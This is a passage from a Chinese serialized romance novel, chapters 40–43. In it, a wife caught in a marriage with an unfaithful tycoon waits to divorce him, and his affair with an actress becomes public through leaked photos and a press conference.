她擦了擦眼泪,仿佛受了天大的委屈,道:“如果我的离开,能让叶小姐开心,那我心甘情愿。”
临走的时候,她回过头深深的看了我一眼。
顾时序是背对着她的,可我却明明白白的看见了她眼中的怨毒和阴鸷。
我一点都不后悔对苏雅欣用了这种手段。
谁让她有事没事总来恶心我?
可我这么做,并不是为了跟她争男人,更不是什么争风吃醋。
我很明白,我和顾时序已经回不去了。
……
苏雅欣走后。
顾时序道:“孩子的B超单,我到时候让人去你以前生产的那家医院看看,有没有存根?”
我微微一顿,怅然若失。
好像很久,我说过的话、提过的要求,在
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顾时序这里都没有回应了。
他这次难得记得。
而我,已经不再需要了。
就在这时,顾时序的手机又响了起来。
因为是工作日,他不去公司,工作的电话一个一个的都打了进来。
前几个电话,顾时序的语气还很泰然自若,一副指点江山的样子。
直到刚才,他听了电话里面的汇报,眉峰紧蹙,凝重地问:“什么叫数据出现了问题?必须推迟上市的时间吗?”
电话那边又说了什么。
他按了按太阳穴,道:“嗯,那就暂时先推迟上市吧。配合对方的调查,我不希望再出任何差错。”
本来他工作上的事情我是不关心的。
可我刚才听见他那句‘推迟上市’,瞬间就紧张起来了。
顾氏虽然每年都有很多设备上市,但我心里总有种不好的预感。
因此,他挂了电话,我试探着问:“公司是出了什么很棘手的事吗?”
“嗯,就是岳母那个设备在上市审核那一关出了点问题,被卡了。”
他淡淡地说完,我整个人都不能淡定了。
“为什么?”
我追问道:“我妈妈都用了两年多了,不是一直很好吗?按说没什么问题啊!”
他顿了顿,目光深沉而探究的望着我,道:“这个设备上不上市,你母亲都有得用。你急什么?”
我这才发现自己刚才的反应太激动了。
“我……我的意思是,那个设备这么先进,顾氏为了它付出了这么多心血。在最后一关被卡了,有点可惜。”
我语无伦次地解释着:“而且,等那个设备上市的病人这么多,都是等着救命的。”
顾时序这才放下疑虑,对我道:“没办法,最近,顾氏总是被人使绊子。不过,只是一些无伤大雅的手段罢了,不用放在眼里。”
他很自信自己可以解决这一切,但刚才的语气里,又透着隐隐的杀气。
我不由得在想,这个使绊子的人,是顾亦寒吗?
或者,是上次那个在工地上救了我的先生?
不过,现在对我来说最重要的,还是那个设备具体的上市时间。
这意味着,我什么时候能跟顾时序摊牌离婚。
见他这会儿能跟我说几句话,我小心翼翼地问:“那……你们准备延迟到什么时候上市呢?”
顾时序深邃的眸光凝视着我,语气染上一层质疑:“你对顾氏的事,什么时候这么上心了?”
第40章 他让我搬回主卧
我立刻避开他的目光,不敢再问下去,生怕暴露自己。
顾时序也并没有给我一个明确的回答。
我一时间有些失望。
等了这么久,就为了等到设备上市那一天,然后跟顾时序摊牌。
无论他离不离婚,我都有反抗他、离开他的自由。
可现在,似乎又得等等了……
在医院住了几天之后,我胃病好的差不多了。
顾时序这几天并没有一直在医院照顾我,关于那台设备被卡上市的事,好像还挺严重的。
他几乎每天都在公司处理。
刘妈倒是心情很好,照顾我的时候哼着曲儿,道:“太太,先生对那小妖精的新鲜劲儿,看样子已经过去了。那母女俩啊,都搬走了!在先生心里,还是知道谁是他正儿八经的太太的。”
我勉强笑了笑。
但那个家早都不属于我了,顾时序也早就脏了。
谁在不在那个家,谁搬不搬走,又关我什么事呢?
刘妈以为我也跟她一样高兴。
出院那天,她还建议我问问顾时序,能不能把主卧恢复原样?
我面无表情的反问:“为什么?”
刘妈惊讶的看着我,道:“您不搬回去住吗?那母女俩的东西都在那儿,我怕您膈应。可是先生没有吩咐,我们也不敢随意挪动。”
我淡淡地说:“没事,他没吩咐,你就不用给自己找事儿了。况且,我在客房住着挺好的。”
刘妈愣住,一副搞不懂我的表情。
我知道,刘妈那种老一辈子的思想,应该还停留在‘男人在外玩玩不要紧,只要他知道自己有家,只要他回心转意就好’的阶段。
我不怪她。
回到家。
刘妈为了缓和我跟顾时序之间的关系,笑眯眯地说:“太太,先生刚才特意打电话吩咐我,让我多做些补品,给您补身子。您喜欢吃什么,我就做什么,不用拘着光吃素。”
我心里挺讽刺的。
刘妈那么开心,好像这是顾时序给我的恩典。
而这个‘恩典’,却是我经历了那么多次痛苦换来的。
我淡淡地说:“您随便做吧,我都可以。”
说完,我往自己的客房走去。
打开电脑,我发现自己的小说后台被很多催更淹没了。
不仅如此,编辑在QQ上也发来了很多信息。
我这才想起,这几天我住院都先紧着工作的邮件处理,完全把一时兴起的小说抛在脑后了。
我打开编辑的信息,除了让尽快恢复更新,编辑问得最多的就是:“未央大大,签约的事,您这边考虑的怎么样了呢?”
犹豫再三,我回道:“抱歉,最近因为私人问题,我可能无法维持稳定更新。如果签约,怕给网站造成损失。”
几秒钟后,编辑立刻回了消息过来:“没关系,只要您愿意跟我们签约,我们一定能把这本书推起来。实不相瞒,这本书的数据势头目前非常好,而且,很可能会卖出去影视版权。”
最终,我还是被编辑抛来的橄榄枝吸引了,答应了签约的事。
编辑立刻就在小说后台发来了签约合同。
我这才知道,现在的签约,都可以直接线上签约了,而且很方便快捷。
签完后,我看了读者催更的评论,突然间好像恢复了能量。
就这样,我坐在桌前,一直写到了下午六点。
这时,刘妈敲了敲门,道:“太太,晚餐做好了。需要等先生一起吗?”
我本来下意识的就想说‘不等了’。
但我实在很想知道,心肺支持仪的事究竟处理的怎么样了?
这意味着什么时候才能上市?
可这种机密问题,只有见到顾时序,才能有答案。
因此,我改口道:“嗯,那就等他回来一起吃吧。”
刘妈走后,我给顾时序发了个信息,问他几点回来?
他回:“公司事情多,要晚点。你饿了就先吃。”
我急着弄清楚设备上市时间的事,便道:“我不饿,我等你回来。”
“好。”
他发信息,一向是惜字如金的。
像刚才他能发这么多字,都算是奇迹了。
就这样,我在家里静静的等他回来。
恍惚间,我好像又回到了之前,在不知道他早已出轨的时候,也是这般每天每天的等他。
很多次我饿的胃痛,他却放了我鸽子。
我以为自己再也不会等他,他也再也没有机会放我鸽子。
可是今晚,他又把跟我的约定抛在了脑后。
十点多了,他还没有回家。
刘妈把菜热了一遍又一遍。
我以为是公司的事情确实很棘手。
直到我刷朋友圈时,看见了苏雅欣两小时之前发的一条动态:
照片是朵朵坐在顾时序腿上吃饭,我婆婆在一旁慈爱的看着孙女儿,拍照的人自然就是苏雅欣了。
配文:一家人一起用餐,是一天中最幸福的时刻。女儿很喜欢新家,我也很喜欢。
我忽然嗤笑了声。
原来,顾时序所谓的让她们搬出去,就是搬去了我婆婆家。
然后,他们从“一家三口”变成了“一家四口”,继续享受着天伦之乐。
刘妈在热第八遍饭菜的时候,坐在餐桌前的我面无表情的开口:“不用热了,他不会回来了。”
“这……”
刘妈疑惑的问:“先生是不是公司事情太多了?忘了答应您的事?”
我直接将苏雅欣的朋友圈给她看,严肃而郑重地说:“刘妈,我知道你是好意。但是以后,不要再把我跟他联系在一起。”
刘妈意识到我现在心情很糟,连忙答应着,又赶紧给
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我盛了粥。
我慢慢吃着晚餐。
就在这时,外面传来女佣的声音:“先生回来了?太太晚上一直在等您吃饭呢。”
顾时序淡淡‘嗯’了声,没过多久,就来到了餐厅。
他似乎想起了跟我的约定,微微顿了顿,很自然的坐在我对面。
然后,吩咐道:“刘妈,去帮我盛碗粥。”
刘妈看了我一眼,心知肚明,但也不敢挑破,赶紧去给顾时序盛粥了。
而顾时序望向我,道:“你有胃病,该吃饭就吃饭,不用等我到现在。”
我放下手中的碗筷,静静看着他。
男人清俊的五官在水晶灯的照射下,多了几分暖意,英挺不减当年。
只是却好像变了味道,也没了意思。
我懒得跟他虚与委蛇,将苏雅欣的朋友圈打开,道:“顾总两小时前才吃过晚餐,怎么现在又饿了?”
顾时序脸色划过一抹异样,不知道是在惊讶我有苏雅欣的微信,还是在尴尬自己从进门到现在的做戏。
“今天是朵朵第一次学会写自己的名字,我去看看。明天,我准时回来吃饭。”
他难得跟我解释了一番,还像个好丈夫似的跟我保证。
可我早就不再需要一个没有心的皮囊!
刘妈将盛好的粥放在他面前,而我站起身道:“顾总慢慢吃,我先回房了。”
我的轮椅刚移动了几步,他叫住我:“昭昭。”
我停住,回头疑惑的看着他。
他淡声道:“雅欣和朵朵已经走了,你搬回主卧吧。”
“你自己住吧,我嫌脏。”
我目光掠过他此刻泛起薄怒的脸,继续滑动轮椅往客房的方向去。
……
翌日。
叶夫人给我打来电话,“昭昭,你的脚受伤了吗?”
我本不想让他们替我担心,所以一直没说。
我疑惑地问:“您怎么知道的?”
叶夫人道:“今天上午我去医院体检,碰见亦寒带他母亲看病。我听他说的,你受伤还挺严重的。你这孩子,怎么这么大的事都不告诉我们呢?”
我心中一阵温暖,道:“妈,我现在已经快好了,您不要担心我。”
“你现在是在家里吧?我过去看看你。”
叶夫人说完,我连忙道:“妈,您不用特意跑来一趟。等我过段日子,我就回家看您和爸爸。”
毕竟,我和顾时序现在这样的关系,叶夫人来了,我实在是不知道该怎么在她面前表现。
可叶夫人却道:“我已经在路上了,马上就到你那儿了。顺便,给你送点东西过去。”
跟叶夫人通完话,我准备去交代一下刘妈,让她别提我跟顾时序的事情。
可我没想到,顾时序今天竟然没去公司。
他坐在客厅的沙发上,手中是一份财经杂志。
第41章 再和顾时序生一个孩子
见我出来,他没理我。
似乎是因为昨晚我拒绝搬回主卧的理由,驳了他的面子,让他生气了。
可一会儿叶夫人就要到了,顾时序要是这般样子,叶夫人也会不自在的。
我踌躇了一下,还是开口道:“一会儿……我妈要来。”
顾时序的目光这才从杂志上移开,问:“所以?”
我硬着头皮道:“麻烦你配合一下,别让我妈知道这段时间发生的事。”
“嗯。”
他不冷不热的应了声。
虽然语气不好,但也让我稍微松了口气。
就在这时,庭院响起了门铃声。
我正准备滑动轮椅出去迎一下叶夫人。
顾时序已经站起身来,走到我身后,握住了轮椅,推我往外走去。
这时的他,真的很像一个耐心又尽责的好丈夫。
只可惜,都是装出来的。
我忽略掉心中那点遗憾和失落,嘴角扬起微笑。
“妈,您来了!”
我甜甜的喊着叶夫人。
叶夫人见我脚上缠绕的纱布,格外担忧,“这么严重?以后会不会留下后遗症啊!”
顾时序先我一步道:“我请了最好的骨科专家评估了昭昭的脚伤,您担心的情况不会发生。”
叶夫人松了口气,目光里充满了欣慰,“时序啊,有你在,我和昭昭爸爸都放心了。”
真是丈母娘看女婿,越看越喜欢。
顾时序道:“妈,进去再说吧。”
就这样,我们一起进了别墅。
我这才发现叶夫人手里拎着好几个牛皮纸袋。
“妈,这是什么?”
我疑惑的看着她手中的东西。
叶夫人笑眯眯地说:“这个啊!是我刚从一位老中医那儿拿的药,你和时序都喝一段时间,看看效果。”
我和顾时序同时一愣。
叶夫人解释道:“距离上一个孩子,已经三年了,昭昭的身子恢复的也差不多了。你们总要向前看的,是不是?不如趁着年轻,再生一个。”
她虽然知道顾时序修佛,但是,并不知道我和顾时序夫妻生活每月只有一次。
我猜,顾时序有了朵朵之后,压根就没想再让我给他生孩子。
我只好跟叶夫人打马虎眼儿,“妈,我和顾时序早都从之前那段走出来了。而且,我们都很健康,不需要喝药。”
“那怎么到现在,你肚子还没有消息?”
叶夫人看看我,又看看顾时序,建议道:“要不,你们都去医院查一下吧。看看身体有没有什么问题?”
顾时序一向比我镇定,他神色没有任何不自然,对叶夫人道:“好,有空我们去查查。”
叶夫人更开心了,对我道:“你看时序,从小就比你懂事。”
说完,她拍拍那几大包中药,道:“时序,这个你要喝,也要帮我监督昭昭喝。知道吗?”
“嗯。”
顾时序在长辈面前,永远一副‘别人家孩子’的表现。
我愈发觉得可悲。
要是叶夫人知道他做的这些事,真不知道会有多失望?
顾时序不管私底对我怎样,但他面子功夫还是很到位的。
就像现在,他主动留叶夫人在这儿吃午饭。
叶夫人也留下了。
吃饭时,她突然想起了什么,对顾时序道:“对了,你们周六有时间吗?”
顾时序略微思索了一下,道:“周六暂时没有安排,您有事吗?”
“那你周六带着昭昭一起回来吃个饭吧。”
叶夫人语气透着愉悦,道:“景辰要带女朋友回家呢,到时候我们全家一起见个面。”
我心一惊,生怕叶夫人现在就透露出对方是苏雅欣。
如果顾时序不是亲眼所见,那或许苏雅欣几句话又能颠倒黑白,到时候说不定他还觉得是我和叶夫人串通好,泼苏雅欣脏水呢。
因此,我立刻打岔道:“妈,您尝尝这个鱼,这是刘妈的拿手菜。”
怎知叶夫人还惦记着我哥女朋友的事,问顾时序:“周六中午,能带昭昭一起回来吧?”
“当然。”
顾时序答应了下来,道:“最近公司事情多,都好久没跟景辰出来聚聚了。没想到,他都谈女朋友了。是哪家的?”
叶夫人刚要开口,顾时序的手机铃声打断了。
我也暂时松了口气。
顾时序看到来电显示,不动声色的看了我和我妈一眼,然后起身去了外面接。
如果我没猜错,应该是苏雅欣母女。
而我趁这个机会,小声对叶夫人道:“妈,您先别告诉顾时序,我哥的女朋友是苏雅欣。”
叶夫人一愣,问:“为什么?时序是自己人,知道了也没关系的。”
我急中生智,找了个借口,“他是苏雅欣的粉丝,您不如给他个惊喜,等吃饭那天,再让他知道。”
叶夫人捂嘴笑,道:“没想到,时序还挺追星。”
我们俩正说着,顾时序接电话回来了。
他不知为什么心事重重的,也忘了刚才问我哥女朋友的话题。
就连叶夫人都看得出顾时序心不在焉的。
她关心的问:“是不是公司出了什么事?你有事就先去忙,不必管我。一会儿吃完饭,我也就回去了。”
顾时序淡淡地说:“没关系,不急。”
他这人一向如此,甭管心里怎么想,面子功夫做得极其到位。
我想,这或许就是顾时序这种阶层的人所谓的‘体面’。
吃完饭,叶夫人怕耽误顾时序的事情,便离开了。
临走时,她还特意交代我们,一定要按时喝药,来年生个大胖小子。
我勉强笑着应对。
等叶夫人的车离开后,顾时序将我推回了别墅里。
茶几上的几大包药还摆在那儿。
我有些尴尬,脸也有点烫,对他道:“我妈说的事,你不用放在心上。刚才谢谢你,陪我
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演戏。”
顾时序点了点头,喊来刘妈,让她把这些药扔了。
看来,他也并没有想再跟我生个孩子。
看着叶夫人特意给我们带来的中药就这么被顾时序糟蹋,我心中说不上什么滋味儿。
顾时序看了眼手表,似乎一会儿要赶着做什么事情,匆匆上了楼。
这时,我手机响了。
看到来电显示,竟然是我婆婆姜淑慧的。
这女人,不给他儿子打电话,给我打电话干什么?
我接了之后,那边传来姜淑慧斥责的声音:“叶昭昭,你怎么就这么狠毒,一天到晚赖着时序,连女儿都不让他看!”
我冷冷道:“我没有不让他看女儿,他做什么事,跟我一点关系都没有。”
“你说的好听!那为什么我一小时前就给他打电话,他到现在还不过来?”
姜淑慧颐指气使的说:“我告诉你,这几天雅欣去外地拍戏,时序都要在我这儿陪朵朵,他不会回家了!你要是再敢阻挠,你看我还给不给你脸!”
她一番话就像是机关枪似的,喋喋不休。
不过,我所有的注意力都集中在了那句‘这几天雅欣去外地拍戏’。
这么说来,苏雅欣这几天都不在海城。
是啊,她周六就要跟我哥哥去叶家了,她又不会分身,自然要想个法子或者借口的。
我现在更加确定了苏雅欣在跟顾时序纠缠的同时,还在吊着我哥。
姜淑慧骂完就把电话挂了。
紧接着,顾时序也从楼上下来,步伐匆匆。
看来,是准备去姜淑慧那儿了。
路过我时,他停住脚步,对我道:“这几天我住在我妈那儿,就不回来了。”
“嗯,你妈刚给我打过电话。”
我说完,又问道:“对了,我妈说让我们周六中午回去吃饭,你不会爽约吧?你亲口答应的。”
顾时序笑了笑,道:“不会。我也挺好奇,你哥找了个什么样的女朋友。”
“好,那就这么说定了。”
我点点头,望着他离开的背影,忍不住去想到了那一天,顾时序看到自己孩子的妈变成我哥女朋友的时候,是个什么样的反应?
……
转眼间几天过去,日子到了周五。
而这些天,顾时序一直没有回来过。
我虽然脚伤没好,不能上班做采访,但是在家也同样要写很多新闻稿。
就连小说都是挤出时间写的,所以拜托宋今若搞亲子鉴定的事情也被我抛在了脑后。
直到周五傍晚,宋今若给我打了电话。
她声音十万火急,道:“昭昭,你在家吗?你听我说,现在立刻回叶家,立刻!”
我一头雾水:“发生什么事了?”
宋今若道:“顾时序发现了我给苏雅欣和朵朵做DNA鉴定的事,刚来幼儿园找过茬。现在我爸把我锁家里了。你赶紧跑,他接下来肯定要回去找你麻烦!”
第42章 让他亲眼看见苏雅欣和我哥
我不由得握紧了手机。
原以为那天我胃出血之后,顾时序就已经放过了这件事。
可我还是太不了解他了。
他这种人,做事一向滴水不漏,又怎么可能发现了漏洞却任凭发展?
我强迫自己镇定下来,问:“那他知不知道我找律师离婚的事?”
“应该还不知道。”宋今若道:“他没往离婚那方面想,但他发现了我那天去主卧,是为了拿苏雅欣的头发。”
我点点头,道:“好,知道了。”
宋今若千叮咛万嘱咐,“你现在赶紧回娘家躲着。我真怕顾时序这个混蛋会对你不利,他今天那眼神别提多吓人了,要**似的!”
我认命地说:“躲不过的。就算我回娘家,他也一样会找到我。而且,现在顾氏的设备延迟上市了,他随时可以停掉我妈的心肺支持仪。”
就在这时,我看见院子里的车灯闪烁,便知道顾时序回来了。
我挂了电话,深吸了一口气,准备迎接接下来的暴风雨。
当我一瘸一拐的到了客厅,顾时序也刚进来。
男人脸色森寒,将一份标本袋扔到我面前,道:“解释。”
他冷冽的眸光死死盯着我,像一把刀想要把我穿透似的。
“你不都知道了吗?还要解释什么?”
我想试探他,究竟知道了多少?
顾时序走到我面前,泛着凉意的指尖紧紧掐着我下颌,道:“你想让雅欣和朵朵都身败名裂,是不是?”
我轻轻松了口气。
看来,他根本没有意识到我真正的意图。
我何止是想让苏雅欣身败名裂?
我更想跟他结束这段充满背叛和不公的婚姻!
下颌的疼痛令我紧紧皱起眉头,一字一句的说:“所以顾总要怎么处置我?放我这么危险的人在家里,不害怕吗?”
原以为顾时序愤怒之下会自己提出离婚,或者分居。
可没想到,他竟然松开了我,甚至还轻笑了声,“害怕?就凭你这点争风吃醋的把戏?”
我也笑了。
顾时序总是这么自信。
可不知道为什么,他见我笑,眸光更加阴鸷,警告道:“这是我最后一次容忍你。要是下次再被我知道你敢把心思动到雅欣和朵朵身上,我会让你和叶家都付出代价!”
又是威胁!
明天,我就会让他知道,今天这般护着苏雅欣的他,有多么愚蠢。
“好,我知道了。”
我没有辩解,而是温顺地答应着,然后问他:“你还记得上次跟我妈的约定吧?周六中午,去叶家吃饭。”
顾时序微微错愕了一下,大概是没想到,我还敢跟他提回娘家吃饭的事。
“我没时间。”
他想都没想,便拒绝了我。
而他回家这一趟也只是为了找我算账的。
现在,他急着去他母亲家陪女儿。
可我却抓住了他的衣袖,强硬的说:“你必须去!我现在就可以告诉你,我哥的女朋友就是你孩子的妈!你不想看看么?”
顾时序停住脚步,眉头紧锁,道:“叶昭昭,收起你这些乱七八糟的手段,一点都不高级。你编也编点像样的话!”
“那明天去看看不就知道了?”我嘴角噙着一丝笑意,道:“你不会不敢面对现实吧?顾时序,你也有怕的时候?”
顾时序眸子越发幽深,索性,今天晚上他还真就住在了别墅,没再回我婆婆家。
看样子,是准备明天中午跟我一起回叶家了。
……
翌日,我很早就起床了。
想到今天中午即将发生的一切,我心中隐隐有些兴奋。
上午,我把邮箱里的工作邮件快速处理了一下。
然后便准备跟顾时序一起去叶家。
可司机都已经在外面等着了,顾时序却接到了姜淑慧的电话。
“什么?发烧了?”
顾时序听到女儿生病,对电话那边道:“我不是跟您说了,这种天气不能给她吃那么多凉的。”<
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br>“好,我现在就过去。”
顾时序挂了电话,步伐匆匆地往外走。
我立刻拦住他,道:“顾时序,你说好跟我一起回叶家的。”
顾时序清俊的脸上充满了不耐烦,对我道:“朵朵生病了,我没空陪你闹!”
“她生病了,没有妈妈照顾吗?”
我依然拦在他面前,道:“苏雅欣今天不在家,是不是?那是因为苏雅欣现在正跟我哥在一起!”
顾时序深吸了口气,仿佛在克制着脾气,道:“叶昭昭,你说的话,我一个字都不信!你中午自己回去。”
他还是要走。
坐在轮椅上的我,就这么直接抱住了他的大腿,说什么都不让他离开。
顾时序被我这样的举动惊到了。
“叶昭昭,松手!”
他面容泛起一抹愠怒,道:“你究竟想干什么?”
我快急哭了,哽咽道:“你答应过我的事,一件都没有做到过!顾时序,只要你今天跟我去叶家,就会知道,你有多愚蠢!”
顾时序沉默了片刻,算是妥协了。
只不过,他眸光格外凌厉的看着我,道:“要是去了之后,不是你说的那样,你给我等着。”
“好!到时候,我任凭你处置!”
我答应的也爽快,像是签了生死状般决绝。
就这样,我们一起出了门。
……
叶家。
我们去的时候,我哥还没回来。
餐桌上已经摆满了我们爱吃的菜。
他们知道顾时序吃斋,所以,一半的菜都是素菜。
叶夫人笑着解释:“时序啊,要是平时你来,我们肯定是全素的。但今天,景辰要把女朋友带来,我怕全素的她吃不惯。你就担待一下,好吗?”
顾时序虽然被我弄的一肚子气,但对叶夫人还算客气,“没关系,客随主便。”
叶夫人看着时间,道:“景辰刚才打电话来已经在路上了,马上他就回来。你们先坐着跟你爸聊聊天!”
第43章 终于签完了离婚协议
顾时序没有聊天的心思,我也没有。
他冷冷瞥了我一眼,跟叶父有一搭没一搭的说着最近海城商业圈的事。
而本来十分有信心的我,不知为什么,在没有亲眼看见我哥哥和苏雅欣的时候,莫名忐忑起来。
就在这时,女佣的声音传了过来:“少爷回来了!”
我眼前一亮,顾时序的目光也望向玄关处。
虽然脚上没有好利索,我因为太紧张,甚至还站了起来。
直到我哥一个人出现在我们面前的时候,我心里突然一咯噔。
我甚至能感受到,身后顾时序森寒的目光令我如芒刺背。
叶夫人从厨房过来,问出了我想问的问题:“雅欣呢?怎么就你一个人?”
叶父还往庭院张望着:“不是说今天把女朋友带回来,给我们见见吗?”
“什么雅欣?”
我哥突然笑了出来,对我们道:“哎呀,我就跟你们开了个玩笑,这你们也相信?”
我的心瞬间跌落谷底。
怎么都没想到,结果是这样的。
叶夫人更是气坏了,狠狠掐了我哥几下,道:“你之前不是信誓旦旦地说,你女朋友是苏雅欣吗?你这都是骗我们的?”
我哥笑得更开了,道:“当然了!人家是大明星哎,我怎么追得上?都是你们三天两头催婚,我这不就胡诌了个玩笑。你们还就真信了!”
叶父和叶夫人气得要命,你一言我一语地骂我哥。
而我,下意识地望向顾时序。
他英俊的五官像是结了一层冰。
我赶紧握住他胳膊,语无伦次地解释:“抱歉,我……我没想到……”
我还没说完话,他一下子甩开我。
“你就留这儿,不用再回来了!”
他丢下这句话,径直往外走去,没有给在场任何人面子。
而还有脚伤的我,就这么被甩在了地上,狠狠跌了一跤。
叶家的三个人突然间就安静了。
叶夫人赶紧扶起我,道:“这是怎么了,时序怎么突然就生气了?”
“就是!刚才不还好好的吗?”
我哥说完,也帮着叶夫人一起扶住我。
可这时,我却闻见了我哥身上淡淡的香水味。
这个味道,我在苏雅欣身上也闻到过。
我压着心底无数疑问,又不想让父母担心,便解释道:“顾时序今天公司有事忙,我硬把他拉来的。他本来是想看看我哥的女朋友,没想到会被放鸽子,所以有点生气。”
我说完,我哥的表情意味深长,刻意回避着我的目光,低头吃饭。
女人的第六感让我觉得,我哥跟苏雅欣绝对有关系,他说苏雅欣是他女朋友,也并不是在开玩笑。
只是我不明白,为什么我哥今天为什么没把苏雅欣带回来?而且,刚才还要骗我们?
叶夫人别提多失望了,道:“都是景辰这个混账小子,害我们白高兴一场!算了算了,吃饭吧!”
……
饭桌上,大家兴致都不高。
叶夫人和叶父应该是太失望了,饭都没有扒拉几口,就去看午间新闻了。
餐桌上,也只剩下我和我哥。
他问:“你跟顾时序怎么回事?”
我反问:“苏雅欣没有告诉你吗?”
“你在说什么?我听不懂。”
我哥避开我的目光,继续扒拉着碗中的饭菜。
我试探着说:“苏雅欣知道我们的关系,所以只能跟你搞地下情,不敢回叶家,对吧?那你知不知道,她还给顾时序生了个女儿?”
这时,我哥终于放下碗筷。
他脸上没有任何震惊和意外的表情,而是对我道:“你要是把对付雅欣的心思放在顾时序身上,或许他就不会出轨了。有时候,要想想自己的问题,不要总是怪别人。”
我不可思议的看着他。
这还是那个从小到大宠着我,护着我的哥哥吗?
他知道顾时序和苏雅欣的关系,却来指责我的不是?
我委屈的想哭,问:“所以在你看来,顾时序出轨苏雅欣很正常?那你告诉我,你跟苏雅欣又是什么关系?”
我哥眉宇间有几分不耐,道:“我们都是成人了,总该有点边界感。不该问的,你少问。”
这是我哥第一次用这种语气跟我说话。
他跟顾时序一样,都像是变了个人。
就在这时,外面传来我妈提高了八个度的声音,“昭昭,你快过来!这是怎么回事?”
我莫名其妙的去了客厅。
没想到,顾时序和苏雅欣一起出入会所,举止亲密的照片被曝光了。
电视上,一张张照片刺得人眼睛痛。
这些照片虽然没有之前那封匿名邮件发给我的这么炸裂,也没有朵朵的存在。
但顾时序搂着苏雅欣的腰肢,苏雅欣踮起脚尖去吻顾时序的下颌,明眼人一看就知道他们的关系不正常。
“昭昭,时序出轨了?”
叶夫人震惊地问:“怎么会这样?上次我去的时候,你们不是还好好的吗?我看时序对你很好的。”
我一点都不想再提这些烂事,疲惫而沙哑的开口道:“妈,我能不能在家住几天?”
叶夫人和叶父相互对视了一眼,终究什么都没再说,点了点头。
我回到房间,宋今若的电话打了进来。
“你看新闻了吗?”宋今若疑惑的问:“顾时序和苏雅欣的保密措施不是做的很好吗?三年都没被人发现。怎么突然就曝光了?”
我讽刺的笑了笑,做了三年的娱乐记者,我对娱乐圈这点手段简直太熟悉了!
我道:“我猜……是苏雅欣自己曝光的。如果是狗仔曝光的,那他们何苦还帮苏雅欣瞒着朵朵的存在?把私生女一起曝光,流量不是更**吗?”
宋今若恍然大悟,“这**是逼着顾时序跟你离婚,把她娶回家呢!”
“这样不好吗?”
我深深呼了一口气,靠在床上,道:“我终于可以解脱了。”
宋今若听出我的语气不对,问:“昨天顾时序回去问你亲子鉴定的事了吗?你是怎么跟他说的?”
“问了,他以为我做亲子鉴定只是为了搞垮苏雅欣而已。”
我自嘲地轻扯唇角。
越想越觉得这二十年我对顾时序付出的感情,是这样可悲。
我们在一起这么久,他却把我想得这么低劣和肤浅。
宋今若安慰道:“现在该哭的人是顾时序才对!苏雅欣男粉这么多,现在别提多少人骂他了。这苏雅欣也真是够豁得出去的,为了嫁进顾家,根本不管顾时序死活!”
我脑袋有些痛,只想好好睡一觉,希望这一切都是一场梦。
可我哪怕是睡着,梦里还是会梦到那些回不去的曾经。
他也曾动情的咬着我的耳垂,说:“昭昭,给我……”
为什么,我们走着走着,就走成了这样子?
后来,我是被一阵敲门声惊醒的。
我打开门才发现,竟然是我哥。
“是你曝光的照片吧?”
他厉声问:“叶昭昭,你想过没有?这种**会让顾氏股价大跌,还会连累到我们叶家。你长不长脑子!”
我立刻否认道:“照片不是我曝光的。我不会花那个心思在这些烂人身上,不值得!”
可我哥丝毫不信,他冷笑了声,道:“不是你还有谁?你从小就喜欢顾时序,爱他爱到骨子里了!你跟雅欣争风吃醋也就罢了!可你不能这么自私,把我叶家也拖下水!你自己看看现在叶氏的股价,跟顾氏一样,都跌多少了?”
我目光望进他跳动着火焰的眸子里,问:“你究竟是在心疼叶氏的股价,还是在心疼苏雅欣被网暴群嘲?”
刚才我已经看到微博上,支持苏雅欣的不少,但网暴苏雅欣的也不少。
说她找金主,傍大款,靠陪睡拿到顶级资源的比比皆是。
果然,我这句话仿佛戳到了我哥的痛处,他恼羞成怒,指着我道:“以后,我的事你少管!搞清楚你的身份,你只是叶家的养女!”
我当即愣在原地。
这是我哥哥第一次用这样的语言刺伤我。
小时候我刚到叶家的时候,处处陌生,是我哥和顾时序一直陪着我,给我洗脑。
我哥哥对我说叶家没有女孩子,我就是叶家的小公主。
可现在,他却提醒我认清身份。
我苦涩地弯了弯唇角,对他道:“嗯,我记住了。无论如何,叶家对
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我有恩,我不想看着你被苏雅欣坑了。反正,你自己多注意吧。”
不知是不是看到了我眼中的伤心,我哥语气缓和了几分,道:“我刚才的话没别的意思,我自己的事,自己心里有数。哥知道,你是为我好。”
说完,他离开我的房间。
我一直都知道,我哥是急性子,有时候说话做事很冲动,总是脱口而出。
或许刚才他那番话是无意的,可还是刺得我心里难受。
因为在我心里,我早就把他和叶家父母当做了我的亲人。
可他刚才,确实那么干脆地指出,我不过是“养女”。
……
顾时序和苏雅欣的照片曝光之后,顾氏的股价一下午的时间就跌破了百分之十。
当天晚上,顾氏就紧急召开记者发布会。
各个电视台都在转播。
我静静地跟父母坐在电视屏幕前,看着液晶屏幕上一身铁灰色西装的男人。
他右手执着檀木色佛珠,左手指尖轻扣话筒支架,镁光灯如海浪般扑来,映得他眸光格外锋利。
记者们的问题围绕着他和苏雅欣之间的关系,一个接一个地抛过来。
顾时序淡定而又缓慢的开口:
“苏小姐和我之间并非什么包养、金主和情妇的关系,而是正常的恋人关系。很抱歉占用了公共资源,希望大家给我们足够的私人空间。”
……
他的解释不徐不缓,不慌不忙。
但他却给了苏雅欣一个名正言顺、被大众认可的身份。
我跟他结婚四年,他从没有跟外界承认过他已婚,更没有透露过关于我的任何消息。
可是,他现在就这么大大方方的承认了苏雅欣。
微博上到处都是顾时序记者发布会时的照片和视频。
不仅如此,之前评论区骂苏雅欣和顾时序,‘一个贪钱一个好色’的评论已经被新的评论覆盖:
“妈呀,好浪漫!竟然就这么承认了!不是说戏子嫁入豪门很难吗?人家这豪门怎么就这么有魄力!”
“顾氏总裁真男人啊!不仅没让苏雅欣出面受到任何攻击,自己还把所有事都扛了。”
“是啊,你们看他右手的佛珠,听说他还信佛呢。雅欣不愧是宅男女神,连这样的男人都为她破戒了!这才叫真爱啊!”
“羡慕**,什么时候能赐给我一个顾总这样的男人啊,让给他当小三小四小五,我也愿意!”
“……”
这评论中的每一个字,都仿佛一把无形的刀,用那锋利的刀刃一刀刀划着我血肉。
原来,真爱是这样的。
顾时序的爱,可真拿得出手!
现在,**的风向已经完全逆转。
此时,叶夫人和叶父正担忧地看着我。
“昭昭,时序一定是暂时昏了头,图个新鲜感。你可千万不能破罐子破摔啊!”
叶夫人苦口婆心的劝说道:“你跟他二十年的感情,又怎么是外面那些女人比得了的?”
叶父赞同的点了点头,道:“时序从小做事就成熟稳重,他不是没有责任心的孩子。这次也不知道怎么回事?他是不是有什么难言之隐?”
